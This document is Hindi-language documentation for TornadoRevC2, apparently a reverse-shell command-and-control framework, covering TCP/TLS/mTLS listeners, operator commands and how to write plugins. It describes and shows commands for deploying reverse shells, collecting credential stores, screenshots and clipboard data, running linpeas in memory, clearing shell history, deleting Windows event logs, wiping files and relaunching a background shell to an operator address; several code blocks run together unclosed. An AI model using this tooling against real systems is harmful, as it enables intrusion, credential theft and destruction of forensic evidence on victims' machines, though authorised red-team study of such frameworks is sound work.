### लिसनर कॉन्फ़िगरेशन

TornadoRevC2 **एक साथ तीन स्वतंत्र लिसनर** चलाता है, ताकि इम्प्लांट engagement के थ्रेट मॉडल के आधार पर plaintext, server-authenticated TLS, या mutually authenticated TLS के ज़रिए कनेक्ट कर सकें:

| लिसनर | डिफ़ॉल्ट पोर्ट | फ़्लैग | प्रमाणीकरण | प्रमाणपत्र |
|----------|--------------|------|----------------|--------------|
| TCP      | `4444`       | `-p` | कोई नहीं           | कोई नहीं |
| TLS      | `8443`       | `-tp` | Server-authenticated | `tls_certs/server.pem`, `tls_certs/server.key` |
| mTLS     | `9443`       | `-mp` | Mutual (client cert आवश्यक) | `mtls_certs/` बंडल (CA + server + client) |

`-H` फ़्लैग तीनों लिसनरों द्वारा साझा किया जाने वाला bind address सेट करता है। तीनों को एक साथ सक्षम किया जा सकता है; किसी एक को अक्षम करना वर्तमान में आवश्यक नहीं है — इसे अनदेखा करने के लिए पोर्ट को खाली या unbound छोड़ दें।

**स्वचालित प्रमाणपत्र जनरेशन।** पहले लॉन्च पर हैंडलर दो अलग-अलग डायरेक्टरी बनाता है और अपनी आवश्यक सामग्री को बूटस्ट्रैप करता है:```text
tls_certs/
  server.pem          # self-signed server certificate
  server.key          # server private key

mtls_certs/
  ca.pem              # mTLS certificate authority (self-signed, 4096-bit RSA)
  ca.key              # CA private key
  ca.srl              # OpenSSL serial counter (auto-generated)
  server-mtls.pem     # server cert signed by CA
  server-mtls.key     # server private key
  client.pem          # client cert signed by CA — ship to implant
  client.key          # client private key  — ship to implant

**साझा प्लगइन्स** (`firewall`, `ports`, `browser`, `credstore`, और अन्य) `shared/` में एकल एकीकृत मॉड्यूल के रूप में मौजूद हैं। **प्लेटफ़ॉर्म-विशिष्ट प्लगइन्स** जैसे `rdp` और `eventlogdel` विशेष रूप से `windows/` या `linux/` के अंतर्गत रहते हैं और `shared/` में दोहराए नहीं जाते हैं।

कलेक्टर्स मार्कर टोकन (`__T_PLUGIN_START__` / `__T_PLUGIN_END__`) में लिपटे JSON उत्सर्जित करते हैं। साझा रनर इस आउटपुट को पार्स करता है, ऑपरेटर-उन्मुख रिपोर्ट प्रारूपित करता है, और परिणामों को सत्र लॉग निर्देशिका के अंतर्गत संग्रहीत करता है।

---

## आवश्यकताएँ और स्थापना

**हैंडलर (ऑपरेटर मशीन):**

- Python 3.7 या बाद का संस्करण
- OpenSSL (स्वचालित TLS और mTLS प्रमाणपत्र निर्माण के लिए)
- Git (वैकल्पिक; `update` ऑपरेटर कमांड के लिए आवश्यक)
- किसी तृतीय-पक्ष Python पैकेज की आवश्यकता नहीं है```bash
git clone https://github.com/kamalx06/TornadoRevC2.git
cd TornadoRevC2
python3 tornadorevc2.py

### 2. एक सत्र स्थापित करें

अंतर्निहित कैटलॉग (`payloads`) से एक रिवर्स शेल तैनात करें या अपना खुद का इम्प्लांट उपयोग करें। कनेक्ट होने पर, TornadoRevC2 एक सत्र ID असाइन करता है और `logs/` के अंतर्गत लॉगिंग शुरू करता है।

### 3. संचालन करें```bash
status                          # List active sessions
switch 1                        # Attach to session 1
sysinfo 1                       # Collect host metadata
run credstore 1                 # Credential store metadata
run memorymap 1 1234            # Process memory maps (requires PID)
run inmemory 1 sh ./linpeas.sh  # In-memory script execution
update                          # Pull latest from GitHub and restart (Git installs)

**प्लेटफ़ॉर्म मान:** `linux`, `windows`, `unix`। Linux और `unix` को संगत माना जाता है— `linux` के लिए पंजीकृत प्लगइन दोनों पर चलता है। यदि छोड़ा जाए तो डिफ़ॉल्ट: `["linux", "windows", "unix"]`।

**प्रति मॉड्यूल कई कमांड:** एक ही फ़ाइल कई फ़ंक्शन्स पर `@plugin.command` लागू करके कई कमांड पंजीकृत कर सकती है। प्रत्येक को एक स्वतंत्र नाम मिलता है।

### निष्पादन जीवनचक्र

जब कोई ऑपरेटर `run myplugin 1 arg1 arg2` चलाता है:```text
1. PluginManager resolves session #1 and looks up "myplugin" in the registry
2. Platform check: plugin.platforms vs session shell type (unix/windows)
3. SessionContext(handler, client_socket) is constructed
4. Handler invoked: run(ctx, ["arg1", "arg2"])
5. Handler executes remote work via run_shell / run_marked / run_collector_plugin
6. Output printed to operator console; results logged under logs/<session>/plugins/
7. Exit code returned (0 = success)

if session.is_windows:
    cmd = "whoami /all"
else:
    cmd = "id 2>/dev/null || whoami"

output = session.run_shell(cmd, timeout=10.0)
if not output.strip():
    session.print("Plugin 'whoami' failed — no output from target.", "red")
    session.log_plugin_result("whoami", "", "no output")
    return 1

report = output.strip()
session.print(report, "cyan")
session.log_plugin_result("whoami", report)
session.log_command("run whoami", report)
return 0

**कब उपयोग करें:** सरल प्रोब, एक-पंक्ति गणना, ऐसे कमांड जिन्हें संरचित रिपोर्ट की आवश्यकता नहीं होती।

**मुख्य विधियाँ:** `session.run_shell(cmd, timeout)`, `session.print(text, color)`, `session.log_plugin_result(name, report, detail='')`.

### पैटर्न 2: संरचित कलेक्टर (अनुशंसित)

उन गणना प्लगइन्स के लिए उपयोग करें जो लक्ष्य पर संरचित डेटा एकत्र करते हैं और एक स्वरूपित रिपोर्ट लौटाते हैं। यह वही पैटर्न है जिसका उपयोग सभी अंतर्निहित रेकॉनिसेंस प्लगइन्स (`firewall`, `ports`, `browser`, आदि) करते हैं।

**प्रवाह:**```text
Handler                              Target host
  │                                       │
  ├─ session.log_event("started")         │
  ├─ flush shell buffer                   │
  ├─ resolve platform (unix/windows)      │
  ├─ build collector command/script ─────►│  Linux: inline Python or native shell
  │                                       │  Windows: PowerShell script in-process
  │                                       ├─ invoke native OS commands
  │                                       ├─ assemble result dict
  │                                       └─ emit __T_PLUGIN_START__ + JSON + __T_PLUGIN_END__
  │◄──────────────────────────────────────┤
  ├─ parse_collector_json(raw)            │
  ├─ formatter(data) → report string      │
  ├─ session.print(report)                │
  └─ session.log_plugin_result(...)       │

**`run_collector_plugin` पैरामीटर:**

| पैरामीटर | प्रकार | विवरण |
|-----------|------|-------------|
| `session` | `SessionContext` | लक्ष्य सत्र |
| `plugin_name` | `str` | लॉग और त्रुटि संदेशों में उपयोग किया जाने वाला नाम |
| `unix_builder` | `Callable[[], str]` या `None` | Unix/Linux शेल कमांड लौटाता है; यदि उपलब्ध न हो तो `None` |
| `win_builder` | `Callable[[], str]` या `None` | PowerShell स्क्रिप्ट लौटाता है; यदि उपलब्ध न हो तो `None` |
| `formatter` | `Callable[[dict], str]` | पार्स किए गए JSON dict को रिपोर्ट स्ट्रिंग में परिवर्तित करता है |
| `timeout` | `float` | चिह्नित आउटपुट की प्रतीक्षा करने के लिए अधिकतम सेकंड (डिफ़ॉल्ट 30) |

उस OS पर प्लगइन को अनुपलब्ध चिह्नित करने के लिए प्लेटफ़ॉर्म बिल्डर के लिए `None` पास करें (देखें [Platform-specific plugins](#platform-specific-plugins))।

बाहरी प्लगइन सहेजने के बाद:```bash
plugins load processes
plugins info processes
run processes 1

pid = args[0].strip()
session.log_event(f"Plugin memorymap: started for PID {pid}")
session._handler._flush_shell(session._client_sock, timeout=1.0)

unix_cmd = _build_linux_command(pid)   # builder accepts runtime args
win_ps = _build_windows_command(pid)

raw = _run_collector_marked(session, unix_cmd, win_ps, session.platform, 45.0)
if raw is None:
    session.print("Plugin 'memorymap' failed — no response from target.", "red")
    return 1

data = parse_collector_json(raw)
report = format_memorymap_report(data)
session.print(report, "cyan")
session.log_plugin_result("memorymap", report, ...)
return 0

**संग्रह-पश्चात प्रसंस्करण उदाहरण** (`historydel` से):```python
def run(session: SessionContext, args):
    # ... run collector via _run_collector_marked ...
    data = parse_collector_json(raw)

    # Additional in-memory cleanup in the interactive shell
    if session.is_unix:
        session.run_shell("history -c 2>/dev/null; history -w 2>/dev/null; true", timeout=5.0)
    elif session.is_windows:
        session.run_marked("", "Clear-History -ErrorAction SilentlyContinue", timeout=5.0)

    report = format_historydel_report(data)
    session.print(report, "green" if data.get("cleared") else "yellow")
    return 0

**दिशानिर्देश:**

- हर बाहरी कमांड के लिए `subprocess.check_output(..., timeout=N)` का उपयोग करें।
- उत्सर्जन से पहले बड़ी सूचियों को छोटा करें (50–80 प्रविष्टियों तक सीमित रखें)।
- अनुपलब्ध टूल्स को सहजता से संभालें—त्रुटि उठाने के बजाय अनुभागों को खाली छोड़ दें।
- आउटपुट में मार्कर स्ट्रिंग्स एम्बेड करने से बचें; `history` प्लगइन इसी कारण से एकत्र किए गए टेक्स्ट से `__T_PLUGIN_*__` को साफ़ करता है।
- इनलाइन आकार सीमा के भीतर रहने और `/tmp` स्टेजिंग से बचने के लिए कलेक्टरों को संक्षिप्त रखें।

### Windows कलेक्टर

Windows कलेक्टर PowerShell स्क्रिप्ट स्ट्रिंग्स हैं जो `_build_windows_command()` से लौटाए जाते हैं।

**संरचना:**```python
from tornadorevc2.constants import PLUGIN_MARK_END, PLUGIN_MARK_START

def _build_windows_command():
    return rf"""
$ErrorActionPreference='SilentlyContinue'
$start='{PLUGIN_MARK_START}'; $end='{PLUGIN_MARK_END}'
$result = [ordered]@{{
  summary = @{{ count = 0 }}
  items = @()
}}
try {{
  Get-CimInstance Win32_Service -EA 0 | Select-Object -First 50 | ForEach-Object {{
    $result.items += @{{ name = $_.Name; state = $_.State }}
  }}
  $result.summary.count = $result.items.Count
}} catch {{
  $result.summary.error = $_.Exception.Message
}}
Write-Output ($start + (ConvertTo-Json $result -Depth 5 -Compress) + $end)
"""

### JSON payload परंपराएँ

कलेक्टरों को एक JSON-सीरियलाइज़ेबल dict लौटाना चाहिए। रनर और फ़ॉर्मेटर सुसंगत key उपयोग की अपेक्षा करते हैं:

| Key | Type | Purpose |
|-----|------|---------|
| `summary` | `dict` | उच्च-स्तरीय गणनाएँ और आँकड़े; `format_generic_report()` द्वारा पहले रेंडर किया जाता है |
| `error` | `str` | **हार्ड विफलता** — रनर त्रुटि प्रिंट करता है और exit code 1 लौटाता है |
| `traceback` | `str` | वैकल्पिक; जब `error` सेट हो तो विवरण के रूप में लॉग किया जाता है |
| `reason` | `str` | **सॉफ्ट विफलता** — कस्टम फ़ॉर्मेटरों के साथ उपयोग करें (जैसे clipboard अनुपलब्ध) |
| `ok` | `bool` | ऑपरेशनल प्लगइन्स (screenshot, clipboard) के लिए सफलता फ़्लैग |
| `dict` की सूचियाँ | `list` | `format_generic_report()` द्वारा तालिकाओं के रूप में रेंडर की जाती हैं |
| `str` की सूचियाँ | `list` | बुलेट सूचियों के रूप में रेंडर की जाती हैं |
| नेस्टेड `dict` | `dict` | लेबल किए गए अनुभागों के रूप में रेंडर किया जाता है |

**सौम्य अपकर्षण:** बहु-अनुभाग गणना के लिए, प्रत्येक अनुभाग के लिए अलग dict keys का उपयोग करें और अपवादों को स्थानीय रूप से पकड़ें। शीर्ष-स्तरीय `error` तब तक सेट न करें जब तक कि पूरा कलेक्टर विफल न हो जाए—आंशिक परिणाम बेहतर होते हैं।```python
result = {"summary": {}, "ufw": {}, "iptables": {}}
# Each backend probed independently; failures leave that section empty

`plugins/shared/common.py` में पुनः प्रयोग योग्य हेल्पर:

| फ़ंक्शन | उद्देश्य |
|----------|---------|
| `format_generic_report(data, title='Results')` | डिफ़ॉल्ट टेबल/सेक्शन रेंडरर |
| `format_section(title, fields, width=22)` | की-वैल्यू सेक्शन |
| `format_list_section(title, items, empty='(none)')` | बुलेटेड सूची |
| `format_table_section(title, rows, columns)` | डिक्ट पंक्तियाँ कॉलम के रूप में |
| `format_firewall_report`, `format_memorymap_report`, आदि | प्लगइन-विशिष्ट फ़ॉर्मेटर |

### प्लेटफ़ॉर्म-विशिष्ट प्लगइन

**केवल Windows:**```python
@plugin.command(name="rdp", platforms=["windows"], description="...")
def run(session: SessionContext, args):
    return run_collector_plugin(
        session, "rdp",
        None,                    # no Linux builder
        build_command,
        format_generic_report,
        timeout=35.0,
    )

**स्प्लिट बिल्डर्स के साथ क्रॉस-प्लेटफ़ॉर्म:**

कुछ साझा प्लगइन्स प्लेटफ़ॉर्म-विशिष्ट बिल्डर मॉड्यूल्स को डेलिगेट करते हैं (जैसे `virtualization` `linux/virtualization.py` और `windows/virtualization.py` से इम्पोर्ट करता है)। `@plugin.command` एंट्री पॉइंट `shared/` में ही रहता है; `linux/` या `windows/` के अंतर्गत बिल्डर मॉड्यूल्स में कोई डेकोरेटर नहीं होता और वे स्वतंत्र प्लगइन्स के रूप में रजिस्टर नहीं होते।

### बाहरी प्लगइन्स

बाहरी प्लगइन्स आपको रिपॉज़िटरी को संशोधित किए बिना TornadoRevC2 का विस्तार करने देते हैं।

**सेटअप:**```bash
# Default location (created automatically if missing)
./plugins/myplugin.py

# Or set a custom directory
export TORNADOREVC2_PLUGIN_DIR=/path/to/my/plugins

**बाहरी बनाम अंतर्निहित लाइफसाइकिल:**

| क्रिया | अंतर्निहित प्लगइन | बाहरी प्लगइन |
|--------|-----------------|-----------------|
| `plugins unload` | सॉफ्ट-डिसेबल (मॉड्यूल इम्पोर्टेड रहता है) | पूरी तरह अनलोड और अनरजिस्टर्ड |
| `plugins reload` | मॉड्यूल को पुनः इम्पोर्ट करता है, पुरानी कमांड रजिस्ट्रेशन साफ़ करता है | `sys.modules` से हटाता है, डिस्क से पुनः इम्पोर्ट करता है |
| स्टार्टअप | ऑटो-लोडेड | मांग पर लोडेड |

नेमस्पेस टकराव से बचने के लिए बाहरी मॉड्यूल `tornado_ext_plugin_<name>` के रूप में इम्पोर्ट किए जाते हैं।

### SessionContext API

प्रत्येक हैंडलर को एक `SessionContext` प्राप्त होता है जो हैंडलर और क्लाइंट सॉकेट को रैप करता है:

**मेटाडेटा प्रॉपर्टीज़:**

| प्रॉपर्टी | प्रकार | विवरण |
|----------|------|-------------|
| `session_id` | `str` | असाइन किया गया सत्र पहचानकर्ता |
| `platform` | `str` | `unix`, `windows`, या `unknown` |
| `is_windows` / `is_unix` | `bool` | प्लेटफ़ॉर्म सुविधा फ़्लैग |
| `sysinfo` | `dict` | `sysinfo` संग्रह से कैश्ड होस्ट जानकारी |
| `identity` | `dict` | सत्र पहचान/फ़िंगरप्रिंट मेटाडेटा |
| `addr` | `tuple` | रिमोट पता |
| `tls` | `bool` | क्या सत्र TLS का उपयोग करता है |
| `name` | `str` | ऑपरेटर द्वारा असाइन किया गया फ्रेंडली नाम |
| `fingerprint` | `str` | स्थिर होस्ट फ़िंगरप्रिंट |
| `logger` | `SessionLogger` | प्रति-सत्र लॉग राइटर (`None` हो सकता है) |
| `colors` | `dict` | कंसोल रंग कोड |
| `socket` | socket | रॉ क्लाइंट सॉकेट (उन्नत उपयोग) |

**निष्पादन विधियाँ:**

| विधि | विवरण |
|--------|-------------|
| `run_shell(cmd, timeout=15.0)` | कमांड भेजें, आउटपुट की प्रतीक्षा करें, स्ट्रिंग लौटाएँ |
| `run_shell_streaming(cmd, timeout, idle_timeout, on_chunk)` | आइडल डिटेक्शन के साथ आउटपुट स्ट्रीम करें; लंबे समय तक चलने वाले कमांड के लिए उपयोगी |
| `run_marked(unix_cmd, win_ps_script, timeout, start_mark, end_mark, strip_ws)` | प्लेटफ़ॉर्म-उपयुक्त कमांड निष्पादित करें और चिह्नित पेलोड निकालें |
| `get_cwd()` | रिमोट वर्किंग डायरेक्टरी लौटाएँ |
| `collect_sysinfo(mode='stealth')` | होस्ट जानकारी संग्रह ट्रिगर करें |

**स्थानांतरण विधियाँ:**

| विधि | विवरण |
|--------|-------------|
| `upload(local_path, remote_path, resume=False)` | लक्ष्य पर फ़ाइल अपलोड करें |
| `download(remote_path, local_path, resume=False)` | लक्ष्य से फ़ाइल डाउनलोड करें |
| `verify_remote(remote_path)` | रिमोट फ़ाइल आकार और SHA-256 सत्यापित करें |

**लॉगिंग और आउटपुट:**

| विधि | विवरण |
|--------|-------------|
| `print(text, color=None)` | वैकल्पिक रंग (`red`, `green`, `yellow`, `cyan`) के साथ ऑपरेटर कंसोल पर प्रिंट करें |
| `log_event(message)` | `session.log` में टाइमस्टैम्प्ड इवेंट जोड़ें |
| `log_command(cmd, output)` | कमांड और आउटपुट को `session.log` में लॉग करें |
| `log_plugin_result(name, report, detail='')` | रिपोर्ट को `logs/<session>/plugins/<name>_<timestamp>.log` में लिखें |

### त्रुटि प्रबंधन और रिटर्न कोड

| रिटर्न | अर्थ | हैंडलर व्यवहार |
|--------|---------|------------------|
| `0` | सफलता | कोई चेतावनी प्रदर्शित नहीं |
| `1` (या कोई भी गैर-शून्य) | विफलता | पीली चेतावनी: `Plugin 'name' returned code N` |
| अनकैच्ड एक्सेप्शन | त्रुटि | लाल त्रुटि संदेश; सत्र लॉग में लॉग किया गया |

**कलेक्टर विफलता मोड** (`run_collector_plugin` द्वारा संभाला गया):

| स्थिति | व्यवहार |
|-----------|----------|
| टाइमआउट / आउटपुट में कोई मार्कर नहीं | एग्ज़िट 1, "no response" लॉग करें |
| आउटपुट मान्य JSON नहीं | एग्ज़िट 1, रॉ आउटपुट (ट्रंकेटेड) को विवरण के रूप में लॉग करें |
| `data["error"]` मौजूद | एग्ज़िट 1, त्रुटि और ट्रेसबैक प्रिंट करें |
| आंशिक सेक्शन विफलताएँ | टॉप-लेवल `error` सेट **नहीं** करना चाहिए; सेक्शन खाली छोड़ें |

**सॉफ्ट विफलताएँ** (ऑपरेशनल प्लगइन): `reason` या `ok: false` का उपयोग करें और रनर के हार्ड `error` चेक पर निर्भर रहने के बजाय कस्टम फ़ॉर्मेटर या कस्टम हैंडलर में संभालें।

### सर्वोत्तम प्रथाएँ

1. **अपलोड किए गए टूलिंग की तुलना में नेटिव OS कमांड को प्राथमिकता दें**—यह फ्रेमवर्क के डिपेंडेंसी-लाइट डिज़ाइन के अनुरूप है।
2. **एन्यूमरेशन के लिए लक्ष्य पर फ़ाइलें न लिखें**; शेल चैनल पर डेटा लौटाएँ। ऑपरेशनल प्लगइन (wiper, historydel) स्पष्ट उद्देश्य वाले अपवाद हैं।
3. **शालीनता से डिग्रेड करें** — प्रत्येक बैकएंड को स्वतंत्र रूप से प्रोब करें; खाली सेक्शन कुल विफलता से बेहतर हैं।
4. **आउटपुट आकार सीमित करें** — सूचियों को 50–80 आइटम तक ट्रिम करें; लंबे स्ट्रिंग्स को 200–500 वर्णों तक ट्रंकेट करें।
5. **वास्तविक टाइमआउट सेट करें** — त्वरित प्रोब: 15–30s; व्यापक एन्यूमरेशन: 45–75s।
6. **लगातार लॉग करें** — शुरुआत में `session.log_event()` कॉल करें, पूर्ण होने पर `session.log_plugin_result()`, ट्रांसक्रिप्ट एक्सपोर्ट के लिए `session.log_command()`।
7. **args को जल्दी मान्य करें** — लक्ष्य पर कुछ भी भेजने से पहले उपयोग संदेश के साथ 1 लौटाएँ।
8. **दोनों कंसोल से परीक्षण करें** — मुख्य हैंडलर (`run plugin <ID>`) और अटैच्ड सत्र (`switch` फिर `run plugin`)।
9. **विकास के दौरान `plugins reload` का उपयोग करें** हैंडलर को पुनः आरंभ किए बिना परिवर्तनों को उठाने के लिए।
10. **संवेदनशील मार्कर साफ़ करें** एकत्रित आउटपुट से यदि आपका प्लगइन मनमाना फ़ाइल सामग्री पढ़ता है।

### संदर्भ कार्यान्वयन

| प्लगइन | फ़ाइल | पैटर्न | नोट्स |
|--------|------|---------|-------|
| `firewall` | `plugins/shared/firewall.py` | क्रॉस-प्लेटफ़ॉर्म कलेक्टर | मल्टी-बैकएंड शालीन डिग्रेडेशन |
| `ports` | `plugins/shared/ports.py` | क्रॉस-प्लेटफ़ॉर्म कलेक्टर | नेटिव `ss` / `Get-NetTCPConnection` |
| `history` | `plugins/shared/history.py` | क्रॉस-प्लेटफ़ॉर्म कलेक्टर | Linux Python + Windows PowerShell बिल्डर |
| `memorymap` | `plugins/shared/memorymap.py` | कस्टम हैंडलर | PID आर्गुमेंट, डायनामिक बिल्डर |
| `screenshot` | `plugins/shared/screenshot.py` | कस्टम हैंडलर | JSON में Base64; ऑपरेटर-साइड PNG सेव |
| `clipboard` | `plugins/shared/clipboard.py` | कस्टम हैंडलर | `reason` फ़ील्ड के माध्यम से सॉफ्ट विफलता |
| `historydel` | `plugins/shared/historydel.py` | कस्टम हैंडलर | विनाशकारी; पोस्ट-कलेक्टर शेल क्लीनअप |
| `wiper` | `plugins/shared/wiper.py` | कस्टम हैंडलर | विनाशकारी; पथ आर्गुमेंट सत्यापन |
| `services` | `plugins/windows/services.py` | Windows-केवल कलेक्टर | न्यूनतम एंट्री पॉइंट |
| `eventlogdel` | `plugins/windows/eventlogdel.py` | Windows-केवल कलेक्टर | विनाशकारी; प्रति-लॉग विफलता रिपोर्टिंग |
| `rdp` | `plugins/windows/rdp.py` | Windows-केवल कलेक्टर | रजिस्ट्री और फ़ायरवॉल एन्यूमरेशन |
| `virtualization` | `plugins/shared/virtualization.py` | साझा एंट्री + स्प्लिट बिल्डर | `linux/` और `windows/` बिल्डर इम्पोर्ट करता है |
| `secrets` | `plugins/linux/secrets.py` | Linux-केवल कलेक्टर | प्लेटफ़ॉर्म-प्रतिबंधित लिस्टिंग |

नए एन्यूमरेशन प्लगइन के लिए, `plugins/shared/runner.py` में `run_collector_plugin` से शुरू करें और `firewall.py` या `ports.py` से लेआउट कॉपी करें। आर्गुमेंट या साइड इफेक्ट वाले प्लगइन के लिए, `memorymap.py` या `wiper.py` देखें।

---

## सत्र लॉगिंग

प्रत्येक सत्र `logs/` के अंतर्गत एक पृथक डायरेक्टरी में लिखता है:```text
logs/001_user@hostname_192.168.1.10_unix_10-08-2026_143022/
  session.log           Operator commands and console output
  sysinfo.json          Host information snapshot
  transfers/            Upload and download event logs
  executions/           In-memory payload execution metadata
  plugins/              Plugin reports and collector output
      quickenum_20260812_054812.log
      firewall_20260812_055130.log
      screenshot_20260812_055412.png

---

## TLS और mTLS कॉन्फ़िगरेशन

TornadoRevC2 तीन अलग-अलग लिसनर चलाता है, प्रत्येक का अपना प्रमाणपत्र स्रोत होता है। `tls_certs/` और `mtls_certs/` के अंतर्गत सब कुछ पहली बार चलाने पर स्वतः-उत्पन्न होता है और कभी अधिलेखित नहीं होता।

| लिसनर | पोर्ट | क्लाइंट प्रमाणीकरण | प्रमाणपत्र |
|----------|------|-------------|--------------|
| TCP | `4444` | कोई नहीं | — |
| TLS | `8443` | केवल-सर्वर | `tls_certs/server.pem`, `tls_certs/server.key` |
| mTLS | `9443` | पारस्परिक (क्लाइंट प्रमाणपत्र आवश्यक) | `mtls_certs/` बंडल |

### TLS

स्वतः-हस्ताक्षरित जोड़ी (`CN=localhost`, RSA-2048, 3650 दिन) के रूप में स्वतः-उत्पन्न।

अपना स्वयं का प्रदान करने के लिए:```bash
python tornadorevc2.py -H 0.0.0.0 -p 4444 -tp 8443 \
  -c tls_certs/server.pem -k tls_certs/server.key

### लाइव सेशन को mTLS में अपग्रेड करना

सादे TCP या server-auth TLS पर मौजूद सेशन को हैंडलर को रीस्टार्ट किए बिना mTLS लिसनर पर ले जाया जा सकता है। `upgrade_mtls` प्लगइन `client.pem`, `client.key`, और `ca.pem` को टारगेट पर अपलोड करता है, एक बैकग्राउंड शेल लॉन्च करता है जो क्लाइंट सर्टिफिकेट प्रस्तुत करता है, और (डिफ़ॉल्ट रूप से) नया सेशन शुरू होने के बाद बंडल को डिस्क से हटा देता है।```bash
# From the main handler prompt
run upgrade_mtls 1 --port 9443 --host 10.10.14.7
run upgrade_mtls 1 --keep-bundle       # leave certs on disk after launch
run upgrade_mtls 1 --no-upload         # certificate bundle already uploaded manually

# From inside an attached session (switch 1)
run upgrade_mtls